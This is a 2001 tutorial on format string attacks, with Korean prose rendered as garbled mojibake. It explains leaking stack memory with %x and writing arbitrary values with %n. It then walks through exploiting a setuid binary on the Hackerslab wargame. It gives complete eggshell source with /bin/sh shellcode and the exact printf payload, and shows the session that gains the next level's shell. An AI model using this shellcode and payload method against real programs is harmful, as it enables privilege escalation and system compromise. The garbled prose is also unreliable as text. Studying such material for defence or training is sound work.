=================================================================================== Title : Format String attack. Author : À¯µ¿ÈÆ (Xpl017Elz) E-mail : szoahc@hotmail.com Home: http://x82.i21c.net Date : f. 2001/4/29 s. 2001/5/10 =================================================================================== ÀÛÀÚÁÖ: ÀÌ ¹®¼­´Â format stringÀ» °øºÎÇÏ´Â À̵éÀ» À§ÇØ Á¦À۵Ǿú½À´Ï´Ù. ¸¸¾à, ¹®¼­ÀÇ ³»¿ëÁß ¿À·ù°¡ ÀÖ´Ù¸é szoahc@hotmail.comÀ¸·Î mail ÁÖ½Ã¸é °¨»çÇÏ°Ú½À´Ï´Ù. Format string attack ½ÃÀÛ - ============================================================================== Source[1]: Format string ÀÌÇظ¦ À§ÇÑ ±âº» Source. ============================================================================== main() { // Format string attack ±âÃÊ source int i = 3; char a[50]; printf("\n\tInput: "); scanf("%s",a); printf("\tTest[1]: "); printf("%s \n",a); /* Á¤»ó */ printf("\tTest[2]: "); printf(a); /* Ãë¾à */ printf("\n"); printf("\tTest[3]: º¯¼ö iÀÇ °ªÀº %dÀÌ´Ù.\n",i); printf("\t"); printf("Testman~!%n",&i); printf("\n\tº¯¼ö iÀÇ °ªÀº %d°¡ µÇ¾ú´Ù.\n\n",i); } ============================================================================== ±âº»ÀûÀ¸·Î °ªÀ» ¹Þ¾Æ Ãâ·ÂÇϱâ À§Çؼ± ÀúÀåµÉ º¯¼ö ¹× ÀúÀå°ø°£µîÀÌ ÇÊ¿äÇÏ´Ù. ( ±×¸²[1] ) printfÇÔ¼ö¸¦ Ãâ·Â½Ã ³»ºÎÀÇ ("%s %d %c %x")µîÀ» Ãâ·ÂÇÏ·Á°í ÇÏ´Â ¹®ÀÚÀÇ format string À̶ó ÇÒ¼öÀÖ´Ù. printf("Testman~! %d %x %s %c \n",a,b,c,d); A A |_________| (format string) °á°ú: Testman~! 40 c74b hey d ( ÀúÀåµÈ º¯¼öµéÀÌ format string¿¡ ÀÇÇØ ºÒ·¯¿À°Ô µÇ¾ú´Ù. ) ÀÌ º¯È¯¹®ÀÚ¸¦ ÀÌ¿ëÇÒ¶§ Áï, format stringÀÇ »ç¿ëÀ¸·Î printf ÇÔ¼ö¸¦ ÀÌ¿ë½Ã ´ÙÀ½°ú °°Àº Stack ±¸Á¶¸¦ ¶í´Ù. ============================================================================== ±×¸²[1]: StackÀÇ °£´ÜÇÑ ±¸Á¶ ============================================================================== printf("Testman~!%n",&i); [ Return address ] [ Save frame pointer ] [ i ] [ &i ] [ *Format string ] | |----------> i ¶ó´Â º¯¼ö¸¦ stack frame ¿¡ Àâ¾ÆµÎ°í &i¸¦ Stack¿¡ ³ÖÀº´ÙÀ½ "Testman~!%n"¶õ format stringÀ» Stack¿¡ push ÇÑ´Ù. ============================================================================== °ªÀ» ³ªÅ¸³¾¶§ ¹®ÀÚ¿­À» Ç¥½ÃÇÏ´Â º¯È¯¹®ÀÚ¸¦ »ç¿ëÇÏÁö ¾Ê°í °ð¹Ù·Î Á÷Á¢ÀûÀÎ Ãâ·ÂÀ» ÇÒ°æ¿ì ÀԷ°ª¿¡ ´ëÇÑ bufferÀÇ °ªÀ» º¼¼öÀÖ´Ù. %x ¶ó´Â 16Áø¼ö ¹®ÀÚ¿­Ãâ·ÂÀ» ÀÌ¿ëÇÏ¿© Memory °ªÀ» ³ÖÀ»½Ã ÀÔ·ÂÇÑ °ª°ú ±× À§Ä¡¸¦ ¾òÀ»¼öÀÖ´Ù. ============================================================================== ±×¸²[2]: %x ÀԷ°ú ½Ã½ºÅÛ¿¡ µû¸¥ ±× °á°ú ============================================================================== System[1]: Input: AAAA%x%x%x%x Test[1]: AAAA%x%x%x%x Test[2]: AAAA41414141782578257825782540023c00 ... »ý·« ... System[2]: Input: AAAA%x%x%x%x Test[1]: AAAA%x%x%x%x Test[2]: AAAA4f4013994040016ab041414141782578 ... »ý·« ... ============================================================================== ³ªÁß¿£ ÀÔ·ÂÇÑ°ªÀÌ Ãâ·ÂµÇ´Â À§Ä¡¿¡ µû¶ó ¹®ÀÚÀÇ °¹¼ö¸¦ ¼¼°í, öÀúÇÑ °è»êÀ» ÅëÇØ Memory¿¡ Á¤È®ÇÑ °ªÀ» ³ÖÀ»¼ö ÀÖ´Ù. (%n µð·ºÆ¼ºê ÀÌ¿ë) ÀÌó·³ ¿øÇϴ ƯÁ¤ÁÖ¼Ò¿¡ °ªÀ» ¾Ë¾Æ³¾¼ö ÀÖ¾ú´Ù. ÇÏÁö¸¸ °ªÀ» ¾Ë°í º¼¼öÀִ°͸¸À¸·Î ÀÛ¾÷À» ÇÒ¼öÀִ°ÍÀº ¾Æ´Ï´Ù. À§¿¡ ¸»ÇÑ %n µð·ºÆ¼ºê¶ó´Â Áö½ÃÀÚ¸¦ »ç¿ëÇÏ¿© ¾Ë¾Æ³½ °ª, Áï ƯÁ¤ÁÖ¼ÒÀÇ °ªÀ» º¯°æÇÒ¼ö ÀÖ´Ù. ÀÌ´Â °¡È÷ Ä¡¸íÀûÀÌ´Ù. ============================================================================== ±×¸²[3]: %n µð·ºÆ¼ºêÀÇ ÀÌ¿ë ============================================================================= ... »ý·« ... Test[3]: º¯¼ö iÀÇ °ªÀº 3ÀÌ´Ù. Testman~! º¯¼ö iÀÇ °ªÀº 9°¡ µÇ¾ú´Ù. ============================================================================= ±×¸²[3]À» º¸¸é ¾Ë¼öÀÖµíÀÌ iÀÇ °ªÀÌ 3À̶ó°í ÇÒ¶§ Testman~! À̶ó´Â ¹®ÀÚ¿­À» ¹Þ°í °ªÀ¸·Î ÀúÀåÇÑ´Ù. (%n) iÀÇ °ªÀº 9·Î º¯°æµÈ´Ù. ±× ÀÌÀ¯¸¦ ¾Ë¾Æº¸ÀÚ. iÀÇ °ªÀº T e s t m a n ~ ! <--- ¸¶Áö¸· °ªÀº 9°¡ µÈ´Ù. ¹®ÀÚ¿­ÀÌ Test ±îÁö¸é iÀÇ °ªÀº 4¿´À»°ÍÀÌ´Ù. 1 2 3 4 5 6 7 8 9 ´Ù½Ã ¸»ÇÏÀÚ¸é %n µð·ºÆ¼ºê´Â ÀúÀåµÈ ¹®ÀÚ¿­ÀÇ ¼ö¸¸Å­À» °ªÀ¸·Î &i¿¡ ÀúÀåÇÑ´Ù. ÀÚ ÀÌÁ¦±îÁö ÁÖ¼Ò°ªÀÇ º¯°æÀ» Áõ¸íÇÏ¹Ç·Î½á °ø°Ý¹ýÀÇ °¡´É¼ºÀÌ µå·¯³ª°Ô µÇ¾ú´Ù. ±×·³, À̹ø¿£ ¹øÁö°ª °è»ê ¹× ³Ö±â¸¦ Çغ¸ÀÚ. À§¸¦ º¸¸é %n µð·ºÆ¼ºê¸¦ ÀÌ¿ëÇØ °ªÀÌ º¯°æÇϴ°ÍÀ» ¹è¿ü´Ù. ÀÓÀÇÀÇ ¹øÁö°ªÀ» ³Ö´Â ÀÛ¾÷Àº °ø°Ý¿¡ ±ÙÁ¢Çß´Ù´Â ¾ê±â´Ù. ÀÏ´Ü ÁÖ¾îÁö´Â ¹øÁö°ªÀ» °è»êÇØ¾ß ÇÏ´Ï °è»ê±â¸¦ ÁغñÇÏ´Â°Ô ÁÁÀ»µí ÇÏ´Ù. ÀÌ·ÐÀûÀ¸·Î Çϳª¾¿ °è»êÇØ º¸°Ú´Ù. º¯°æÇÏ·Á´Â °ªÀÌ 0xbfffec34 ¶ó°í ³õ´Â´Ù¸é ¸ÕÀú 0xºÎºÐ°ú bfff ºÎºÐÀ» Á¦°ÅÇÑÈÄ ec34 °ª¸¸À» ±¸ÇÑ´Ù. e(14) x (16) x (16) x (16) + c(12) x (16) x (16) + (3) x (16) + (4) = 60468 (ec34) bfff °ªÀ» ±¸ÇÏ´Â ¹æ½ÄÀº À§¿Í Á»´Ù¸£´Ù. ¾Õ¿¡ Á¤¼ö°ª 1À» ´õÇÏ¿© °è»êÇØ¾ß ÇÑ´Ù. 1bfff = 114687 ; 114687 - 60468 (ec34) = 54219 ÀÌ·¸°Ô Çؼ­ 60468 (ec34)¿Í 54219 (¾²À̴°ª: bfff)ÀÇ °ªÀ» ±¸ÇÏ¿´´Ù. Âü°í·Î, À§°ªÀ» ÀúÀå½Ã 16bit bfff¸¸ »ç¿ëÇÏ°Ô µÈ´Ù. ÀÚ, ±×·¯¸é ÀÌ °ªÀ» ´ÙÀ½ Source¿¡ ´ëÀÔÇغ¸ÀÚ. À̹ø Source´Â Á¤ÇØÁø °ªÀ» ¿øÇÏ´Â ÀÓÀÇÀÇ °ªÀ¸·Î ¹Ù²Ü¼ö ÀÖ°Ô ÇØÁØ´Ù. ¹æ±Ý °è»êÇؼ­ ³ª¿Â 60468 (ec34)°ú 54219 (bfff)¸¦ ´ëÀÔÇÏ¿© Á¤ÇØÁ® ÀÖ´ø °ªÀ» ¹Ù²ãº¸µµ·Ï ÇÏ°Ú´Ù. ============================================================================== Source[2]: Á¤ÇØÁ®ÀÖ´ø °ªÀ» ÇØÄ¿°¡ ¿øÇÏ´Â ÀÓÀÇÀÇ °ªÀ¸·Î ¹Ù²Ù´Â Source ============================================================================== main() { long a=0x00000060, b=60, c; printf("%x : %x\n",&a,a); c=&a; /* ¾Æ·¡ ºÎºÐ¿¡¼­ &a¸¦ Á÷Á¢ÀûÀ¸·Î ´ëÀÔÇÏÁö ¾Ê±âÀ§ÇØ Á¦3ÀÇ °ªÀ» ´ëóÇÏ¿© »ç¿ëÇÑ´Ù. */ printf("%60468d%n%54219d%n\n",b,c,b,c+2); /* bfffec34ÀÌ °è»êµÇ¾î ³ª¿Â°ª */ printf("%x\n",a); } ============================================================================== %60486d%n%54219%n <--- À̺κÐÀº À§¿¡¼­ ³ª¿Â 0xbfffec34 °ªÀ̶ó´Â°É ¾Ë°ÍÀÌ´Ù. %n µð·ºÆ¼ºê¸¦ »ç¿ëÇÏ¿© aÀÇ °ªÀ» bffffd84 ·Î º¯°æÇÑ´Ù. °á°ú: bffffd84 : 60 ... ... Áß·« ... ... 60 bfffec34 À§¿¡¼­ ù¹ø° 60Àº º¯°æµÇ±âÀü aÀÇ °ªÀÌ´Ù. ³ªÁß¿¡ ³ª¿Â 60Àº bÀÇ °ªÀΰÍÀ» ¾Ë¼öÀÖ´Ù. ¼º°øÇÑ °á°ú·Î bffffd84 °ªÀ» bfffec34 °ªÀ¸·Î º¯°æÇÏ°Ô µÇ¾ú´Ù. ÀÌ·Î½á ±âº»ÀûÀÎ À̷аøºÎ´Â ³¡³µ´Ù. ÀÌÁ¦ºÎÅÏ ½ÇÀü°ø°Ý¿¡ °üÇÑ ³»¿ëÀ» ´Ù·ïº¸°Ú´Ù. ¾ó¸¶Àü¿¡ www.hackerslab.org ÀÇ ¹®Á¦°¡ level17±îÁö ´Ã¾ú´Ù°í µé¾ú´Ù. ÇÊÀÚÀÇ ¼º°Ý»ó Á¤ÇØÁ®ÀÖ´Â ´ä´äÇÑ ¹®Á¦¸¦ Ç®±â ½È¾îÇÏÁö¸¸... ÇØÄ¿Áî·¦ ¸¶Áö¸· ¹®Á¦°¡ format string attack ¹®Á¦¶ó°í ÇÏ´Ï ½ÇÀüÀ» ¿¬½ÀÇغ¸¸é ÁÁÀ»µíÇÏ´Ù. ±×·³ ½ÃÀÛÇÏ°Ú´Ù. Áö±ÝºÎÅÍ ¾à°£ °ñÄ¡¾ÆÆÄÁúÅ×´Ï Çϳª¾¿ ÀߺÁµÎ±æ ¹Ù¶õ´Ù. Ãë¾àÁ¡À» °ø°ÝÇÏ´Â ¼ø¼­´Â ´ë·«ÀûÀ¸·Î ´ÙÀ½°ú °°´Ù. ============================================================================== 1. eggshellÀ» ½ÇÇàÇÏ¿© StackÀÇ ÀϺκп¡ shellcode¸¦ ¶ç¿öµÐ´Ù. (¿©±â±îÁø ¿À¹öÇÃ·Î¿ì ±â¹ý°ú ¸Å¿ì Èí»çÇÏ´Ù.) 2. Return address¸¦ ¾Ë¾Æ³½ ºÎºÐ¿¡ eggshell ½ÇÇà½Ã ³ª¿Â ÁÖ¼Ò(shellcode address)·Î overwrite ½ÃŲ´Ù. (ÀÌ ºÎºÐºÎÅÍ´Â ±âÁ¸ÀÇ ¿À¹öÇÃ·Î¿ì ±â¹ý°ú´Â ´Ù¸£°Ô ¹«½ÄÇÏ°Ô Âï´Â ³ë°¡´Ù°¡ ¾ø´Ù. »Ó¸¸¾Æ´Ï¶ó Á¤È®¼ºµµ ¶Ù¾î³ª´Ù. ) 3. Setuid°¡ ºÙ¾îÀÖ´Â ÇÁ·Î±×·¥ÀÌ Root ±ÇÇÑÀÇ »óÅ·Π½ÇÇàÀ» ÇÏ°íÀÖ´Ù°¡ overwriteµÈ Return address°¡ shellcode ¸¦ ½ÇÇàÇϸ鼭 Root ±ÇÇÑÀÇ shellÀÌ ¶ß°ÔµÈ´Ù. ============================================================================== ±×·³ ÇØÄ¿Áî·¦ ¸¶Áö¸·¹®Á¦¿¡¼­ ½ÃÇèÇغ¸µµ·Ï ÇÏÀÚ. : - ) login: level16 Password: Last login: Fri May 25 13:00:44 from 211.222.236.39 [level16@drill tmp]$ find / -perm -4000 -user level17 2> /dev/null -exec ls -al {} \; -rws--x--- 1 level17 level16 963025 Apr 20 13:35 /usr/local/bin/format [level16@drill tmp]$ ´Ü Çϳª°¡ ³ª¿À´Â°ÍÀ» º¸´Ï ÀÌ ÆÄÀÏÀÌ Ãë¾àÇÑ°ÍÀÌ ºÐ¸íÇÏ´Ù. ÆÄÀÏÀ» Çѹø ½ÇÇàÇغ¸ÀÚ. [level16@drill tmp]$ /usr/local/bin/format INPUT : INPUT À̶ó°í ¹°¾î¿Â´Ù. ¿ì¸®°¡ ¿¹Àü±îÁö ¿¬½ÀÇß´ø ȯ°æ ±×´ë·ÎÀÌ´Ù. : > ÀÚ AAAA%x%x%x%x ¶ó°í ÀÔ·ÂÇغ¸°Ú´Ù. [level16@drill tmp]$ /usr/local/bin/format INPUT : AAAA%x%x%x%x OUTPUT : AAAA414141417825782578257825a &stack is 0xbffffc9c [level16@drill tmp]$ ¿ª½Ã ±×·¸´Ù. format string Ãë¾àÁ¡¿¡ ³ëÃâµÇÀÖ´Â°Ô È®½ÇÇØÁ³´Ù. ÀÔ·ÂÇß´ø AAAAÀÇ °ª 41414141ÀÌ OUTPUT óÀ½ºÎºÐ¿¡ ³ëÃâµÇ¾ú´Ù. ÀÌ´Â ÀϺηΠ½±°Ô ¹®Á¦¸¦ ¸¸µç Hackerslab ÃøÀÇ ¹è·ÁÀÎ°Í °°´Ù. »Ó¸¸¾Æ´Ñ ´õ¿í´õ Ãæ°ÝÀûÀΰÍÀº Return address °ª±îÁö Ãâ·ÂÇØÁÖ°í ÀÖ´Ù´Â »ç½ÇÀÌ´Ù. À§ÀÇ °á°ú´Â Áß¿äÇÑ°ÍÀÌ ¾Æ´Ï´Ù. eggshellÀ» ¶ç¿ì°í ³­ÈÄ ´Ù½Ã Ãâ·ÂÇغÁ¾ß Á¤È®ÇØÁú°ÍÀÌ´Ù. ±×·¯¸é ÀÌÂë¿¡¼­ eggshellÀÇ Source¸¦ °ø°³ÇÏ°Ú´Ù. ¸¸¾àÀÌ¶óµµ eggshell Source¸¦ ±ÞÈ÷ ±¸ÇÒÀÏÀÌ »ý±ä´Ù¸é °ÆÁ¤ÇÏÁö ¸¶¶ó. ¾îµð¼­³ª ½±°Ô ±¸ÇÒ¼ö ÀÖÀ¸¸®¶ó... ============================================================================= Source[3]: EGG shell ============================================================================= #include #define OFFSET 0 #define BUFFER 512 #define EGG 2048 #define NOP 0x90 char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset = OFFSET, buffer = BUFFER; int i, egg_s = EGG; if (argc > 1) buffer = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) egg_s = atoi(argv[3]); if (!(buff = malloc(buffer))) { printf("Failed.\n"); exit(0); } if (!(egg = malloc(egg_s))) { printf("Failed.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i=0;i ÀÌ ºÎºÐÀ» ³ªÁß¿¡ %n µð·ºÆ¼ºê·Î ´ëóÇÑ´Ù. | |==> shellcode ÁÖ¼Ò¸¦ °è»êÇÑ °ªÀ» ³ÖÀ» ºÎºÐ. %%¸¦ µÎ¹ø ½áÁØÀÌÀ¯´Â %¸¦ Çѹø´õ ³Ö¾îÁÜÀ¸·Î½á ¹Ù·ÎµÚÀÇ %À» ÀνĽÃÄÑÁֱ⠶§¹®ÀÌ´Ù. ±×·¯¸é shellcodeÀÇ °ªÀ» °è»êÇÏ¿© ³ª¿Â°ªÀ» ´ëÀÔÇØ º¸µµ·ÏÇÏ°Ú´Ù. f(15) x 16 x 16 x 16 + d(13) x 16 x 16 + 6 x 16 + 0 = 64864 114687 (1bfff) - 64864 (fd60) = 49823 °è»êÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ¿© °ªÀ» ±¸ÇÏ¿´´Ù. 64864 (fd60) , 49823 (bfff) ³ª¿Â °è»ê°ªÀ» Á¤È®È÷ ¸ÂÃß¾î ³Ö¾î¾ß °ø°ÝÀº ¼º°øÇÑ´Ù. ±×·¯¹Ç·Î ³ª¿Â °è»ê°ªÀ» ¹Ù·Î ´ëÀÔÇÏ¸é ¾Æ¹« ¼Ò¿ë¾ø´Ù. "\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41\x41\x9e\xf2\xff\xbf" |====== 4 ======|====== 4 ======|====== 4 ======|====== 4 ======| ÀüºÎ 16(4+4+4+4)ÀÇ °ªÀÌ µ¤¾î¾º¿öÁ³´Ù. 64864 (fd60)ÀÇ °ª¿¡¼­ ÀÌ¹Ì 16ÀÌ »ç¿ëµÈ ¼ÀÀÌ´Ù. ±×·¯¸é 64864 (fd60)¿¡¼­ µ¤¾î¾º¿öÁø °ª 16À» •û¸é Á¤È®ÇÑ °ªÀÌ ³ª¿Ã°ÍÀÌ´Ù. ( 64864 - 16 = 64848 ) Çѹø ´ëÀÔÇغ¸°Ú´Ù. [level16@drill k]$ (printf "\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41\x41\x9e\xf2\xff\xbf%%64848c%%n%%49823c%%n";cat) | /usr/local/bin/format À§¸¦ º¸¸é %%x¸¦ %%n µð·ºÆ¼ºê·Î º¯°æÇÑ°ÍÀ» ¾Ë¼öÀÖ´Ù. ÀÌÁ¦ Enter¸¦ ÀÔ·ÂÇÏ¿© ½ÇÇàÇغ¸ÀÚ. [level16@drill k]$ (printf "\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41\x41\x9e\xf2\xff\xbf%%64848c%%n%%49823c%%n";cat) | /usr/local/bin/format ... ... A ... Áß·« ... ... ... whoami level17 id uid=3016(level16) gid=3016(level16) euid=3017(level17) groups=3016(level16) Á¤È®ÇÑ °è»ê¿¡ ÀÇÇØ level16À» pass ÇÏ°í level17 ±ÇÇÑÀÇ shellÀ» ¾ò¾î³¾¼ö ÀÖ¾ú´Ù. ÀÌ »ç½Ç·Î ¹Ì·ç¾îº¼¶§ Return address ºÎºÐÀÇ ÁÖ¼Ò´Â 0xbffffd60 (shellcode ÁÖ¼Ò) °ªÀ¸·Î º¯°æµÇ¾î overwrite¿¡ ¼º°øÇßÀ»°ÍÀÌ´Ù. ±×·¸´Ù¸é À̹ø¿£ Á¶±Ý´õ ÇѼöÀ§ÀÎ 41 (A)ÀÇ °ªÀÌ Ã³À½ºÎºÐÀÌ ¾Æ´Ï¶ó 4byteµÚ µÎ¹ø°ºÎºÐÀ̳ª 8byteµÚÀÇ ¼¼¹ø°ºÎºÐ, ±× µÚ·Î »óÁÖÇÒ°æ¿ì¿¡ °ø°ÝÀ» ½ÃµµÇغ¸ÀÚ. ¹°·Ð ¸®ÅϾîµå·¹½º´Â Á÷Á¢ ±¸ÇØ¾ß °ø°ÝÀÌ °¡´ÉÇØÁú°ÍÀÌ´Ù.